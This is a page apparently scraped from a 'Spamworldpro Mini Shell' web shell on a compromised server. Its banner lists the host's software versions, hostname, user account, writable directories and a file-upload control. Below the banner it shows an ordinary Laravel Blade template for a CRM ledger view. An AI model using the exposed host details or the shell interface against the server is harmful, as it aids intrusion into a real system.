Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /home/fdshops/public_html/Modules/Crm/Resources/views/ledger/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/fdshops/public_html/Modules/Crm/Resources/views/ledger/index.blade.php
@extends('crm::layouts.app')

@section('title', __('lang_v1.ledger'))

@section('content')
<!-- Content Header (Page header) -->
<section class="content-header">
   <h1 class="tw-text-xl md:tw-text-3xl tw-font-bold tw-text-black">@lang('lang_v1.ledger')</h1>
</section>
<!-- Main content -->
<section class="content">
	@php
	    $transaction_types = [];
	    if(in_array($contact->type, ['both', 'supplier'])){
	        $transaction_types['purchase'] = __('lang_v1.purchase');
	        $transaction_types['purchase_return'] = __('lang_v1.purchase_return');
	    }

	    if(in_array($contact->type, ['both', 'customer'])){
	        $transaction_types['sell'] = __('sale.sale');
	        $transaction_types['sell_return'] = __('lang_v1.sell_return');
	    }

	    $transaction_types['opening_balance'] = __('lang_v1.opening_balance');
	@endphp
	<div class="box box-solid">
		<div class="box-body">
		    <div class="col-md-12">
		        <div class="col-md-3">
		            <div class="form-group">
		                {!! Form::label('ledger_date_range', __('report.date_range') . ':') !!}
		                {!! Form::text('ledger_date_range', null, ['placeholder' => __('lang_v1.select_a_date_range'), 'class' => 'form-control', 'readonly']); !!}
		            </div>
		        </div>
		        <div class="col-md-9 text-right">
		            <button data-href="{{action([\Modules\Crm\Http\Controllers\LedgerController::class, 'getLedger'])}}?action=pdf" class="btn btn-default btn-xs" id="create_ledger_pdf"><i class="fas fa-file-pdf"></i></button>
		        </div>
		    </div>
		    <div id="contact_ledger_div"></div>
		</div>
	</div>
</section>
@endsection
@section('javascript')
	<script src="{{ asset('modules/crm/js/crm.js?v=' . $asset_v) }}"></script>
	<script type="text/javascript">
		$(document).ready(function(){
			getLedger();
		});
	</script>
@endsection

Spamworldpro Mini